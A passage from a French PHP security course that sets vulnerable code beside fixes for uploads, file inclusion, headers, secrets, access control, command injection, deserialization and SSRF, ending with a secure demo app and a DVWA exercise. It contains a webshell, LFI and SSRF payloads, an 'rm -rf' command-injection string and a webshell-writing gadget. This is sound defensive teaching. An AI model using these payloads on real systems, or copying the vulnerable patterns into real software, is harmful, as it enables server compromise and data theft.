function reinitialiserMotDePasse(string $token, string $nouveauPassword, PDO $pdo): bool
{
    $tokenHash = hash('sha256', $token);

    $stmt = $pdo->prepare(
        "SELECT user_id FROM password_resets
         WHERE token_hash = ?
           AND expires_at > NOW()
           AND utilise = 0"
    );
    $stmt->execute([$tokenHash]);
    $row = $stmt->fetch();

    if (!$row) {
        return false; // Token invalide ou expiré
    }

    $erreurs = validerMotDePasse($nouveauPassword);
    if (!empty($erreurs)) {
        return false;
    }

    $hash = password_hash($nouveauPassword, PASSWORD_ARGON2ID);
    $pdo->prepare("UPDATE users SET password_hash = ? WHERE id = ?")
        ->execute([$hash, $row['user_id']]);

    // Marquer le token comme utilisé (évite la réutilisation)
    $pdo->prepare("UPDATE password_resets SET utilise = 1 WHERE token_hash = ?")
        ->execute([$tokenHash]);

    return true;
}

7. Téléchargement de fichiers

7.1. Risques liés aux uploads

L’upload de fichiers est l’une des fonctionnalités les plus dangereuses d’une application web. Les risques sont :

7.2. Démonstration — Upload vulnérable

<?php
//  CODE VULNÉRABLE — Upload sans contrôles
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $fichier = $_FILES['fichier'];

    //  Confiance aveugle au nom original
    $nomFichier = $fichier['name'];

    //  Confiance au type MIME déclaré par le navigateur (falsifiable)
    $typeMime = $fichier['type'];

    //  Stockage dans un dossier accessible publiquement
    move_uploaded_file($fichier['tmp_name'], 'uploads/' . $nomFichier);

    echo "Fichier uploadé : uploads/" . $nomFichier;
}

Un attaquant upload un fichier shell.php :

<?php
// Webshell minimaliste
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}

Il accède ensuite à https://votresite.com/uploads/shell.php?cmd=ls -la et peut exécuter n’importe quelle commande sur le serveur.

7.3. Correction — Upload sécurisé complet

<?php
//  UPLOAD SÉCURISÉ

class UploadSecurise
{
    private const TYPES_AUTORISES = [
        'image/jpeg' => 'jpg',
        'image/png'  => 'png',
        'image/gif'  => 'gif',
        'image/webp' => 'webp',
    ];

    private const TAILLE_MAX    = 5 * 1024 * 1024; // 5 Mo
    private const DOSSIER_UPLOAD = __DIR__ . '/../storage/uploads/'; //  Hors du dossier public

    public function upload(array $fichier): string
    {
        // 1.  Vérifier les erreurs PHP
        if ($fichier['error'] !== UPLOAD_ERR_OK) {
            throw new RuntimeException("Erreur lors de l'upload : " . $fichier['error']);
        }

        // 2.  Vérifier la taille
        if ($fichier['size'] > self::TAILLE_MAX) {
            throw new RuntimeException("Fichier trop volumineux (max 5 Mo).");
        }

        // 3.  Vérifier le type MIME RÉEL (pas le type déclaré par le navigateur)
        $finfo    = new finfo(FILEINFO_MIME_TYPE);
        $typeMime = $finfo->file($fichier['tmp_name']);

        if (!array_key_exists($typeMime, self::TYPES_AUTORISES)) {
            throw new RuntimeException("Type de fichier non autorisé : $typeMime");
        }

        // 4.  Pour les images : vérifier que c'est une vraie image
        if (str_starts_with($typeMime, 'image/')) {
            if (!getimagesize($fichier['tmp_name'])) {
                throw new RuntimeException("Le fichier n'est pas une image valide.");
            }
        }

        // 5.  Générer un nom de fichier aléatoire (jamais utiliser le nom original)
        $extension   = self::TYPES_AUTORISES[$typeMime];
        $nomSecurise = bin2hex(random_bytes(16)) . '.' . $extension;

        // 6.  Créer le dossier si nécessaire
        if (!is_dir(self::DOSSIER_UPLOAD)) {
            mkdir(self::DOSSIER_UPLOAD, 0755, true);
        }

        // 7.  Déplacer vers le dossier sécurisé (hors public/)
        $destination = self::DOSSIER_UPLOAD . $nomSecurise;
        if (!move_uploaded_file($fichier['tmp_name'], $destination)) {
            throw new RuntimeException("Impossible de déplacer le fichier.");
        }

        return $nomSecurise;
    }
}
<?php
//  Servir les fichiers uploadés via un script PHP (jamais directement)
// serve_image.php?f=abc123.jpg

$nom = basename($_GET['f'] ?? ''); //  basename() supprime les path traversal (../)

//  Valider le format du nom
if (!preg_match('/^[a-f0-9]{32}\.(jpg|png|gif|webp)$/', $nom)) {
    http_response_code(400);
    exit('Fichier invalide.');
}

$chemin = __DIR__ . '/../storage/uploads/' . $nom;

if (!file_exists($chemin)) {
    http_response_code(404);
    exit('Fichier non trouvé.');
}

//  Envoyer avec les bons en-têtes
$finfo = new finfo(FILEINFO_MIME_TYPE);
header('Content-Type: ' . $finfo->file($chemin));
header('Content-Length: ' . filesize($chemin));
header('X-Content-Type-Options: nosniff'); //  Empêche le sniffing de type
readfile($chemin);

7.4. Configuration Apache/Nginx complémentaire

# .htaccess dans le dossier uploads/ (sécurité supplémentaire)
#  Interdire l'exécution de scripts dans le dossier uploads
<FilesMatch "\.(php|phtml|php3|php4|php5|php7|phar|cgi|pl|py|rb)$">
    Require all denied
</FilesMatch>

#  Forcer le Content-Type pour éviter le sniffing
<FilesMatch "\.(jpg|jpeg|png|gif|webp)$">
    Header set X-Content-Type-Options nosniff
</FilesMatch>

Options -ExecCGI
AddHandler cgi-script .php .phtml .phar

8. Inclusion de fichiers — LFI / RFI

8.1. Principe de la faille

8.2. Démonstration — LFI

<?php
// CODE VULNÉRABLE — Inclusion dynamique sans validation
$page = $_GET['page'] ?? 'accueil';
include $page . '.php'; // Injection triviale

Payloads d’attaque :

# Lire le fichier de configuration
/page.php?page=../../../etc/passwd

# Lire un fichier PHP encodé en Base64 via le wrapper PHP
/page.php?page=php://filter/convert.base64-encode/resource=../config/db

# Exécuter du code via les logs empoisonnés
# (si l'attaquant a pu injecter du PHP dans les logs Apache)
/page.php?page=../../../var/log/apache2/access.log

8.3. Correction — Whitelist d’inclusion

<?php
// CORRECTION — Whitelist stricte des pages autorisées

const PAGES_AUTORISEES = [
    'accueil'  => 'pages/accueil.php',
    'contact'  => 'pages/contact.php',
    'a-propos' => 'pages/a-propos.php',
    'catalogue' => 'pages/catalogue.php',
];

$pageDemandee = $_GET['page'] ?? 'accueil';

//  Vérification stricte dans la whitelist
if (!array_key_exists($pageDemandee, PAGES_AUTORISEES)) {
    http_response_code(404);
    include 'pages/404.php';
    exit;
}

//  On utilise le chemin défini par le développeur, jamais l'entrée utilisateur
include PAGES_AUTORISEES[$pageDemandee];
<?php
//  Pour les chemins dynamiques : vérifier le chemin réel avec realpath()

function inclureTemplate(string $nom): void
{
    $baseDir  = realpath(__DIR__ . '/templates');
    $chemin   = realpath($baseDir . '/' . basename($nom) . '.php');

    // S'assurer que le fichier résolu est bien dans le dossier templates/
    if ($chemin === false || !str_starts_with($chemin, $baseDir)) {
        throw new InvalidArgumentException("Tentative de path traversal détectée.");
    }

    if (!file_exists($chemin)) {
        throw new RuntimeException("Template introuvable.");
    }

    include $chemin;
}

9. En-têtes HTTP et configuration serveur

9.1. Les en-têtes de sécurité essentiels

Les en-têtes HTTP de sécurité informent le navigateur sur le comportement attendu et réduisent la surface d’attaque. Voici les plus importants.

<?php
//  Centralisez ces en-têtes dans un fichier inclus sur chaque page
// ou dans votre front controller (index.php)

function appliquerEntetesSécurité(): void
{
    //  Force HTTPS pour les prochaines visites (1 an)
    header("Strict-Transport-Security: max-age=31536000; includeSubDomains; preload");

    //  Empêche le navigateur de "deviner" le type MIME
    header("X-Content-Type-Options: nosniff");

    //  Contrôle l'affichage dans des iframes (prévention clickjacking)
    header("X-Frame-Options: DENY");

    //  Active la protection XSS du navigateur (navigateurs anciens)
    header("X-XSS-Protection: 1; mode=block");

    //  Contrôle les informations de référent envoyées
    header("Referrer-Policy: strict-origin-when-cross-origin");

    //  Contrôle les fonctionnalités du navigateur (caméra, micro, géoloc…)
    header("Permissions-Policy: camera=(), microphone=(), geolocation=()");

    //  Content Security Policy (personnalisez selon vos besoins)
    header("Content-Security-Policy: " .
        "default-src 'self'; " .
        "script-src 'self' https://cdn.jsdelivr.net; " .
        "style-src 'self' https://cdn.jsdelivr.net 'unsafe-inline'; " .
        "img-src 'self' data: https:; " .
        "frame-ancestors 'none'; " .
        "base-uri 'self'; " .
        "form-action 'self';"
    );

    //  Supprimer les en-têtes qui révèlent la technologie utilisée
    header_remove("X-Powered-By"); // PHP/8.2.x
    header_remove("Server");       // Apache/2.4.x ou Nginx/1.x
}

appliquerEntetesSécurité();

Testez vos en-têtes sur https://securityheaders.com. L’objectif est d’obtenir la note A+.

9.2. Configuration php.ini pour la production

; php.ini — Configuration sécurisée pour la production

; Masquer les informations sur PHP
expose_php = Off

; Désactiver les fonctions dangereuses
disable_functions = exec, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source

; Limiter les chemins d'accès aux fichiers
; open_basedir = /var/www/html:/tmp

; Désactiver l'affichage des erreurs en production
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /var/log/php/errors.log

; Limiter la taille des uploads
upload_max_filesize = 5M
post_max_size = 6M
max_file_uploads = 5

; Session security
session.cookie_httponly = On
session.cookie_secure = On
session.use_strict_mode = On
session.cookie_samesite = Strict
session.gc_maxlifetime = 1800
session.use_only_cookies = On

; Désactiver les URL session (PHPSESSID dans l'URL)
session.use_trans_sid = 0

; Désactiver allow_url_include (empêche RFI)
allow_url_include = Off
# .htaccess — Configuration Apache sécurisée

# Masquer les informations serveur
ServerTokens Prod
ServerSignature Off

# Désactiver le listing des répertoires
Options -Indexes

# Interdire l'accès aux fichiers sensibles
<FilesMatch "\.(env|sql|log|conf|ini|bak|old|swap|htpasswd)$">
    Require all denied
</FilesMatch>

# Forcer HTTPS
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

# Protéger les fichiers cachés (.git, .env, etc.)
<FilesMatch "^\.">
    Require all denied
</FilesMatch>

9.3. Clickjacking

Le clickjacking consiste à superposer une page légitime dans une iframe transparente et à tromper l’utilisateur pour qu’il clique sur des éléments cachés.

<?php
// Prévention du clickjacking via en-têtes
header("X-Frame-Options: DENY");
// OU via CSP (plus moderne) :
header("Content-Security-Policy: frame-ancestors 'none';");

10. Exposition de données sensibles

10.1. Les données sensibles dans le code source

<?php
//  FAILLES CRITIQUES — Données en dur dans le code

$pdo = new PDO('mysql:host=localhost;dbname=prod', 'root', 'MotDePasseAdmin123!');
//  Le mot de passe BDD est visible dans le code → dans Git → divulgation

define('API_KEY', 'sk-prod-xyz123456789abcdef');
//  Clé API en dur → volée si le dépôt Git est public

$mailConfig = [
    'smtp_password' => 'PasswordSMTP!',
];
//  Idem

10.2. Correction — Variables d’environnement

# .env — Fichier de configuration (jamais commité)
DB_HOST=localhost
DB_NAME=bibliotech
DB_USER=app_user
DB_PASS=MotDePasseComplexe!2024
API_KEY=sk-prod-xyz123456789abcdef
MAIL_PASS=PasswordSMTP!
APP_ENV=production
# .gitignore — S'assurer que .env n'est JAMAIS commité
.env
.env.local
*.env
config/secrets/
<?php
// Charger les variables d'environnement depuis .env
// (ou directement depuis les variables d'environnement système en production)

function chargerEnv(string $fichier): void
{
    if (!file_exists($fichier)) return;

    foreach (file($fichier, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) as $ligne) {
        if (str_starts_with(trim($ligne), '#')) continue; // Ignorer les commentaires

        [$cle, $valeur] = explode('=', $ligne, 2);
        $cle   = trim($cle);
        $valeur = trim($valeur, " \t\n\r\0\x0B\"'");

        if (!array_key_exists($cle, $_ENV)) {
            putenv("$cle=$valeur");
            $_ENV[$cle] = $valeur;
        }
    }
}

chargerEnv(__DIR__ . '/../.env');

$pdo = new PDO(
    'mysql:host=' . $_ENV['DB_HOST'] . ';dbname=' . $_ENV['DB_NAME'] . ';charset=utf8mb4',
    $_ENV['DB_USER'],
    $_ENV['DB_PASS'],
    [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]
);

10.3. Exposition d’erreurs en production

<?php
// En développement, PHP affiche les erreurs complètes
// Warning: PDOException: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost'
// Cela révèle : le SGBD, l'utilisateur BDD, le type d'erreur → aide l'attaquant

// En production : masquer les erreurs
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php/app_errors.log');

// Gestionnaire d'erreurs centralisé
set_exception_handler(function (Throwable $e) {
    // Journaliser l'erreur complète en interne
    error_log(sprintf(
        "[%s] %s dans %s ligne %d\nStack trace:\n%s",
        date('Y-m-d H:i:s'),
        $e->getMessage(),
        $e->getFile(),
        $e->getLine(),
        $e->getTraceAsString()
    ));

    // Afficher un message générique à l'utilisateur
    http_response_code(500);
    include 'pages/erreur_generique.php';
    exit;
});

10.4. Données sensibles dans les logs

<?php
//  Journalisation de données sensibles
error_log("Tentative de connexion: email=$email, password=$password");
//  Le mot de passe apparaît dans les logs

//  Ne jamais journaliser les mots de passe, tokens, numéros de CB
error_log("Tentative de connexion: email=$email");

//  Masquer partiellement les données sensibles si nécessaire
function masquerEmail(string $email): string
{
    [$local, $domain] = explode('@', $email);
    $local = substr($local, 0, 2) . str_repeat('*', strlen($local) - 2);
    return $local . '@' . $domain;
}
error_log("Connexion réussie pour : " . masquerEmail($email));
// Résultat : "Connexion réussie pour : jo***@example.com"

11. Contrôle d’accès et élévation de privilèges

11.1. Broken Access Control — Première faille OWASP 2021

L’élévation de privilèges survient quand un utilisateur peut accéder à des ressources ou actions qui ne lui sont pas autorisées.

11.2. Démonstration — IDOR (Insecure Direct Object Reference)

<?php
//  CODE VULNÉRABLE — Accès direct à une ressource par son ID
// URL : /facture.php?id=1254
session_start();

$id = $_GET['id'] ?? 0;

$stmt = $pdo->prepare("SELECT * FROM factures WHERE id = ?");
$stmt->execute([$id]);
$facture = $stmt->fetch();

if ($facture) {
    //  Aucune vérification que cette facture appartient à l'utilisateur connecté
    afficherFacture($facture);
}

En changeant simplement id=1254 en id=1255 dans l’URL, un attaquant peut accéder aux factures de n’importe quel autre client.

11.3. Correction — Vérification d’appartenance

<?php
//  CORRECTION — Vérification systématique de l'appartenance
session_start();
verifierSession(); // L'utilisateur doit être connecté

$id        = (int) ($_GET['id'] ?? 0);
$userId    = $_SESSION['user_id'];

$stmt = $pdo->prepare(
    "SELECT * FROM factures WHERE id = ? AND user_id = ?"
    //                                     ^^^^^^^^^^^ Jointure sur l'utilisateur connecté
);
$stmt->execute([$id, $userId]);
$facture = $stmt->fetch();

if (!$facture) {
    //  Message générique : ne pas indiquer si la facture existe mais appartient à quelqu'un d'autre
    http_response_code(404);
    include 'pages/404.php';
    exit;
}

afficherFacture($facture);

11.4. Démonstration — Escalade de rôle

<?php
//  CODE VULNÉRABLE — Paramètre de rôle dans un formulaire caché
// Lors de l'inscription, un champ caché détermine le rôle
?>
<form method="POST" action="inscription.php">
    <input type="text" name="nom" required>
    <input type="email" name="email" required>
    <input type="password" name="password" required>
    <!--  Un attaquant peut modifier ce champ via les DevTools -->
    <input type="hidden" name="role" value="user">
    <button type="submit">S'inscrire</button>
</form>
<?php
//  Côté serveur : on fait confiance au champ hidden
$role = $_POST['role'] ?? 'user'; // Modifiable par l'attaquant → role=admin
$stmt = $pdo->prepare("INSERT INTO users (nom, email, password_hash, role) VALUES (?, ?, ?, ?)");
$stmt->execute([$nom, $email, $hash, $role]); // Peut créer un compte admin !
<?php
//  CORRECTION — Le rôle ne vient JAMAIS du client
$nom      = trim($_POST['nom'] ?? '');
$email    = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$password = $_POST['password'] ?? '';

//  Le rôle est défini par le serveur, jamais par le formulaire
$role = 'user'; // Valeur par défaut fixée côté serveur

$stmt = $pdo->prepare("INSERT INTO users (nom, email, password_hash, role) VALUES (?, ?, ?, ?)");
$stmt->execute([$nom, $email, password_hash($password, PASSWORD_ARGON2ID), $role]);

11.5. Middleware d’autorisation

<?php
//  Système centralisé de vérification des rôles

class Autorisation
{
    public static function exiger(string ...$roles): void
    {
        session_start();

        if (!isset($_SESSION['user_id'])) {
            header('Location: /login.php?redirect=' . urlencode($_SERVER['REQUEST_URI']));
            exit;
        }

        $roleUtilisateur = $_SESSION['user_role'] ?? 'user';

        if (!in_array($roleUtilisateur, $roles)) {
            http_response_code(403);
            include 'pages/403.php';
            exit;
        }
    }
}

//  Utilisation en début de chaque page protégée
Autorisation::exiger('admin');          // Seul l'admin peut accéder
Autorisation::exiger('admin', 'editeur'); // Admin ou éditeur
Autorisation::exiger('user', 'admin', 'editeur'); // Tout utilisateur connecté

12. Validation et désérialisation des données

12.1. Ne jamais faire confiance aux entrées

Toute donnée externe est potentiellement malveillante. Cela inclut :

12.2. Validation complète des entrées

<?php
//  Validation robuste des entrées avec filter_var

class Validateur
{
    private array $erreurs = [];

    public function texte(string $champ, string $valeur, int $min = 1, int $max = 255): string
    {
        $valeur = trim($valeur);
        $valeur = strip_tags($valeur); // Supprimer les balises HTML

        if (strlen($valeur) < $min) {
            $this->erreurs[$champ] = "Minimum $min caractères requis.";
        } elseif (strlen($valeur) > $max) {
            $this->erreurs[$champ] = "Maximum $max caractères autorisés.";
        }
        return $valeur;
    }

    public function email(string $champ, string $valeur): string
    {
        $valeur = filter_var(trim($valeur), FILTER_SANITIZE_EMAIL);
        if (!filter_var($valeur, FILTER_VALIDATE_EMAIL)) {
            $this->erreurs[$champ] = "Adresse email invalide.";
        }
        return $valeur;
    }

    public function entier(string $champ, mixed $valeur, int $min = 0, int $max = PHP_INT_MAX): int
    {
        $valeur = filter_var($valeur, FILTER_VALIDATE_INT, [
            'options' => ['min_range' => $min, 'max_range' => $max]
        ]);
        if ($valeur === false) {
            $this->erreurs[$champ] = "Entier entre $min et $max requis.";
            return 0;
        }
        return (int) $valeur;
    }

    public function url(string $champ, string $valeur): string
    {
        $valeur = filter_var(trim($valeur), FILTER_VALIDATE_URL);
        if (!$valeur) {
            $this->erreurs[$champ] = "URL invalide.";
            return '';
        }
        //  Restreindre aux protocoles autorisés
        if (!in_array(parse_url($valeur, PHP_URL_SCHEME), ['http', 'https'])) {
            $this->erreurs[$champ] = "Protocole non autorisé.";
            return '';
        }
        return $valeur;
    }

    public function aDesErreurs(): bool { return !empty($this->erreurs); }
    public function obtenirErreurs(): array { return $this->erreurs; }
}

12.3. Injection de commandes OS

<?php
//  CODE VULNÉRABLE — Injection de commandes
$fichier = $_POST['fichier'];
$output  = shell_exec("convert uploads/$fichier resized/$fichier");
// Payload : fichier=test.jpg; rm -rf /var/www/html/
// Commande exécutée : convert uploads/test.jpg; rm -rf /var/www/html/

//  CORRECTION — Utiliser escapeshellarg()
$fichier = basename($_POST['fichier'] ?? '');

//  Valider le format du nom de fichier
if (!preg_match('/^[a-zA-Z0-9_-]+\.(jpg|png|gif)$/', $fichier)) {
    die("Nom de fichier invalide.");
}

//  Échapper les arguments de commandes shell
$cmd = sprintf(
    'convert %s %s',
    escapeshellarg('uploads/' . $fichier),
    escapeshellarg('resized/' . $fichier)
);
exec($cmd, $output, $returnCode);

12.4. Désérialisation non sécurisée

<?php
//  CODE VULNÉRABLE — Désérialisation d'entrées non fiables
$donnees = unserialize($_COOKIE['preferences']); //  DANGEREUX

// La désérialisation de données non fiables peut déclencher
// l'exécution de code via des "gadget chains" (PHP Object Injection)

// Classe présente dans le code avec __wakeup() ou __destruct() exploitable
class FileLogger {
    public string $fichier = '/dev/null';
    public string $contenu = '';

    public function __destruct() {
        file_put_contents($this->fichier, $this->contenu);
    }
}

// L'attaquant forge un cookie sérialisé qui crée un FileLogger
// avec fichier=/var/www/html/shell.php et contenu=<?php system($_GET['c']); ?>
// Lors de la désérialisation → __destruct() → création d'un webshell !

//  CORRECTION — Utiliser JSON pour les données utilisateur
$donnees = json_decode($_COOKIE['preferences'] ?? '{}', true);
// JSON ne peut pas instancier des objets → pas d'exécution de code

//  Si unserialize() est indispensable, utiliser allowed_classes
$donnees = unserialize($donneesFiables, ['allowed_classes' => ['Preferences']]);

12.5. SSRF — Server-Side Request Forgery

<?php
//  CODE VULNÉRABLE — SSRF
// L'application récupère une URL fournie par l'utilisateur
$url = $_POST['url'] ?? '';
$contenu = file_get_contents($url); // L'attaquant peut forger des requêtes internes
// Payload : url=http://169.254.169.254/latest/meta-data/ (métadonnées AWS)
// Payload : url=http://localhost:3306/ (scanner le réseau interne)
// Payload : url=file:///etc/passwd (lire des fichiers locaux)

//  CORRECTION — Validation stricte de l'URL
function validerUrlExterne(string $url): bool
{
    if (!filter_var($url, FILTER_VALIDATE_URL)) return false;

    $scheme = parse_url($url, PHP_URL_SCHEME);
    if (!in_array($scheme, ['http', 'https'])) return false;

    $host = parse_url($url, PHP_URL_HOST);

    //  Bloquer les adresses locales et privées
    $ip = gethostbyname($host);
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        return false; // Bloque 127.0.0.1, 192.168.x.x, 10.x.x.x, 169.254.x.x, etc.
    }

    return true;
}

13. Projet fil rouge — Application sécurisée de A à Z

13.1. Architecture du projet

Nous allons construire une mini-application de formulaire de contact sécurisé qui illustre toutes les bonnes pratiques vues dans ce cours. Elle comprend :

13.2. Structure du projet

projet-securise/
├── public/
│   ├── index.php           ← Front controller (point d'entrée unique)
│   ├── .htaccess           ← Configuration Apache sécurisée
│   └── assets/
│       ├── css/style.css
│       └── js/validation.js
├── src/
│   ├── Auth.php            ← Authentification et sessions
│   ├── Database.php        ← Connexion PDO sécurisée
│   ├── Csrf.php            ← Gestion des tokens CSRF
│   ├── Validator.php       ← Validation des entrées
│   └── Security.php        ← En-têtes et helpers de sécurité
├── templates/
│   ├── base.php            ← Layout de base
│   ├── contact.php         ← Formulaire de contact
│   ├── admin/
│   │   ├── login.php
│   │   └── messages.php
│   └── errors/
│       ├── 403.php
│       ├── 404.php
│       └── 500.php
├── storage/
│   ├── logs/               ← Journaux applicatifs
│   └── uploads/            ← Fichiers uploadés (hors public/)
├── .env                    ← Variables d'environnement (non commité)
├── .env.example            ← Template .env (commité)
└── .gitignore

13.3. Front controller — public/index.php

<?php
declare(strict_types=1);

// Charger les variables d'environnement
require_once __DIR__ . '/../src/env.php';
chargerEnv(__DIR__ . '/../.env');

// Appliquer les en-têtes de sécurité immédiatement
require_once __DIR__ . '/../src/Security.php';
Security::appliquerEntetes();

// Configuration de la session sécurisée
Security::configurerSession();
session_start();

// Routage simple
$path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$path = rtrim($path, '/') ?: '/';

$routes = [
    '/'             => 'contact',
    '/merci'        => 'merci',
    '/admin/login'  => 'admin/login',
    '/admin/messages' => 'admin/messages',
    '/admin/logout' => 'admin/logout',
];

if (!array_key_exists($path, $routes)) {
    http_response_code(404);
    include __DIR__ . '/../templates/errors/404.php';
    exit;
}

$template = $routes[$path];
include __DIR__ . '/../templates/' . $template . '.php';

13.4. Classe Security

<?php
// src/Security.php
declare(strict_types=1);

class Security
{
    public static function appliquerEntetes(): void
    {
        header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
        header("X-Content-Type-Options: nosniff");
        header("X-Frame-Options: DENY");
        header("X-XSS-Protection: 1; mode=block");
        header("Referrer-Policy: strict-origin-when-cross-origin");
        header("Permissions-Policy: camera=(), microphone=(), geolocation=()");
        header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' https://cdn.jsdelivr.net 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none'; form-action 'self';");
        header_remove("X-Powered-By");
    }

    public static function configurerSession(): void
    {
        ini_set('session.use_strict_mode', '1');
        ini_set('session.use_only_cookies', '1');
        ini_set('session.cookie_httponly', '1');
        ini_set('session.cookie_secure', isset($_SERVER['HTTPS']) ? '1' : '0');
        ini_set('session.cookie_samesite', 'Strict');
        ini_set('session.gc_maxlifetime', '1800');
        session_name('SESSID_' . substr(md5($_SERVER['HTTP_HOST'] ?? 'localhost'), 0, 8));
    }

    public static function e(string $valeur): string
    {
        return htmlspecialchars($valeur, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    }

    public static function journaliser(string $niveau, string $message, array $contexte = []): void
    {
        $logDir  = __DIR__ . '/../storage/logs/';
        if (!is_dir($logDir)) mkdir($logDir, 0750, true);

        $ligne = sprintf(
            "[%s] [%s] [IP:%s] %s %s\n",
            date('Y-m-d H:i:s'),
            strtoupper($niveau),
            $_SERVER['REMOTE_ADDR'] ?? 'CLI',
            $message,
            $contexte ? json_encode($contexte) : ''
        );

        // Journaliser dans un fichier rotatif journalier
        $fichierLog = $logDir . date('Y-m-d') . '_app.log';
        file_put_contents($fichierLog, $ligne, FILE_APPEND | LOCK_EX);
    }
}

13.5. Formulaire de contact sécurisé (template)

<?php
// templates/contact.php
require_once __DIR__ . '/../src/Database.php';
require_once __DIR__ . '/../src/Csrf.php';
require_once __DIR__ . '/../src/Validator.php';

$erreurs  = [];
$succes   = false;
$anciennes = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 1. Vérifier le token CSRF
    $tokenRecu = $_POST['csrf_token'] ?? '';
    if (!Csrf::verifier($tokenRecu)) {
        http_response_code(403);
        Security::journaliser('warning', 'Token CSRF invalide', ['ip' => $_SERVER['REMOTE_ADDR']]);
        die('Requête invalide.');
    }

    // 2. Valider les entrées
    $v    = new Validateur();
    $nom  = $v->texte('nom', $_POST['nom'] ?? '', 2, 100);
    $email= $v->email('email', $_POST['email'] ?? '');
    $sujet= $v->texte('sujet', $_POST['sujet'] ?? '', 5, 200);
    $msg  = $v->texte('message', $_POST['message'] ?? '', 10, 2000);

    // 3. Honeypot anti-spam
    if (!empty($_POST['website'])) {
        // Champ invisible rempli par un bot → ignorer silencieusement
        Security::journaliser('info', 'Honeypot déclenché');
        $succes = true; // Simuler un succès pour ne pas alerter le bot
    } elseif ($v->aDesErreurs()) {
        $erreurs  = $v->obtenirErreurs();
        $anciennes = $_POST;
    } else {
        // 4. Stocker en BDD avec requête préparée
        $pdo  = Database::connexion();
        $stmt = $pdo->prepare(
            "INSERT INTO contacts (nom, email, sujet, message, ip_source, created_at)
             VALUES (?, ?, ?, ?, ?, NOW())"
        );
        $stmt->execute([$nom, $email, $sujet, $msg, $_SERVER['REMOTE_ADDR']]);

        Security::journaliser('info', 'Nouveau contact', ['email' => Security::masquerEmail($email)]);
        $succes = true;
    }
}

$csrfToken = Csrf::generer();
include __DIR__ . '/base.php'; // Layout de base avec en-têtes HTML
?>

<?php if ($succes): ?>
<div class="alert alert-success">
    Votre message a bien été envoyé. Nous vous répondrons dans les plus brefs délais.
</div>
<?php else: ?>

<div class="card shadow-sm">
    <div class="card-header bg-primary text-white"><h2 class="mb-0">📬 Nous contacter</h2></div>
    <div class="card-body p-4">
        <form method="POST" action="/" novalidate>
            <!-- Token CSRF caché -->
            <input type="hidden" name="csrf_token" value="<?= Security::e($csrfToken) ?>">

            <!-- Honeypot : champ invisible pour les bots -->
            <div style="display:none" aria-hidden="true">
                <input type="text" name="website" tabindex="-1" autocomplete="off">
            </div>

            <div class="mb-3">
                <label for="nom" class="form-label">Nom <span class="text-danger">*</span></label>
                <input type="text" id="nom" name="nom" class="form-control <?= isset($erreurs['nom']) ? 'is-invalid' : '' ?>"
                       value="<?= Security::e($anciennes['nom'] ?? '') ?>"
                       minlength="2" maxlength="100" required autocomplete="name">
                <?php if (isset($erreurs['nom'])): ?>
                    <div class="invalid-feedback"><?= Security::e($erreurs['nom']) ?></div>
                <?php endif; ?>
            </div>

            <div class="mb-3">
                <label for="email" class="form-label">Email <span class="text-danger">*</span></label>
                <input type="email" id="email" name="email" class="form-control <?= isset($erreurs['email']) ? 'is-invalid' : '' ?>"
                       value="<?= Security::e($anciennes['email'] ?? '') ?>"
                       maxlength="254" required autocomplete="email">
                <?php if (isset($erreurs['email'])): ?>
                    <div class="invalid-feedback"><?= Security::e($erreurs['email']) ?></div>
                <?php endif; ?>
            </div>

            <div class="mb-3">
                <label for="sujet" class="form-label">Sujet <span class="text-danger">*</span></label>
                <input type="text" id="sujet" name="sujet" class="form-control <?= isset($erreurs['sujet']) ? 'is-invalid' : '' ?>"
                       value="<?= Security::e($anciennes['sujet'] ?? '') ?>"
                       minlength="5" maxlength="200" required>
                <?php if (isset($erreurs['sujet'])): ?>
                    <div class="invalid-feedback"><?= Security::e($erreurs['sujet']) ?></div>
                <?php endif; ?>
            </div>

            <div class="mb-3">
                <label for="message" class="form-label">Message <span class="text-danger">*</span></label>
                <textarea id="message" name="message" class="form-control <?= isset($erreurs['message']) ? 'is-invalid' : '' ?>"
                          rows="5" minlength="10" maxlength="2000" required><?= Security::e($anciennes['message'] ?? '') ?></textarea>
                <?php if (isset($erreurs['message'])): ?>
                    <div class="invalid-feedback"><?= Security::e($erreurs['message']) ?></div>
                <?php endif; ?>
            </div>

            <button type="submit" class="btn btn-primary">Envoyer le message</button>
        </form>
    </div>
</div>
<?php endif; ?>

13.6. Administration sécurisée

<?php
// templates/admin/messages.php
require_once __DIR__ . '/../../src/Auth.php';

// Page accessible uniquement aux administrateurs
Auth::exigerRole('admin');

$pdo      = Database::connexion();
$messages = $pdo->query("SELECT * FROM contacts ORDER BY created_at DESC LIMIT 50")->fetchAll();
?>

<h1>Messages reçus</h1>
<table class="table table-striped">
    <thead><tr><th>Date</th><th>Nom</th><th>Email</th><th>Sujet</th><th>IP</th></tr></thead>
    <tbody>
    <?php foreach ($messages as $m): ?>
    <tr>
        <!-- Échappement systématique à l'affichage -->
        <td><?= Security::e($m['created_at']) ?></td>
        <td><?= Security::e($m['nom']) ?></td>
        <td><?= Security::e($m['email']) ?></td>
        <td><?= Security::e($m['sujet']) ?></td>
        <td><?= Security::e($m['ip_source']) ?></td>
    </tr>
    <?php endforeach; ?>
    </tbody>
</table>

14. Exercices et CTF

14.1. Exercices guidés

Exercice 1 — Injection SQL

Installez DVWA (Damn Vulnerable Web Application) en local :

# Via Docker
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Accessible sur http://localhost/login.php
# admin / password
